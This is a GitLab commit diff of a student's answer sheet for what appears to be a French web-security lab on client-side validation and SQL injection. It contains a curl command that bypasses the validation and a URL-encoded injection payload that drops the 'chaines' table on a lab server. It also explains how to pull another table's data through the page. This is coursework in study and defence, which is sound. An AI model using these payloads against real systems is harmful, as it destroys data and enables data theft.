Skip to content
Snippets Groups Projects
Commit 4fd943bd authored by Oualid Hassan's avatar Oualid Hassan
Browse files

Update rendu.md

parent 781b2e4f
Branches
No related tags found
No related merge requests found
......@@ -18,15 +18,22 @@ Il n'est pas efficace car la validation est du coté client, il peut modifier la
## Question 2
* curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "chaine=@@@&submit=OK" 172.28.100.33:8080
```bash
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "chaine=@@@&submit=OK" 172.28.100.33:8080
```
## Question 3
* Votre commande curl pour effacer la table
```bash
curl 'http://172.28.100.33:8080/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'chaine=test%22%27%2C+%270.0.0.0%27%29%3B+DROP+TABLE+chaines%3B+--&submit=OK'
```
* Expliquez comment obtenir des informations sur une autre table
On pourrait injecter une requête SELECT de l'autre table et l'insérer dans la table chaine, ainsi, on pourrait récupérer les résultats sur la page web.
## Question 4
Rendre un fichier server_correct.py avec la correction de la faille de
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment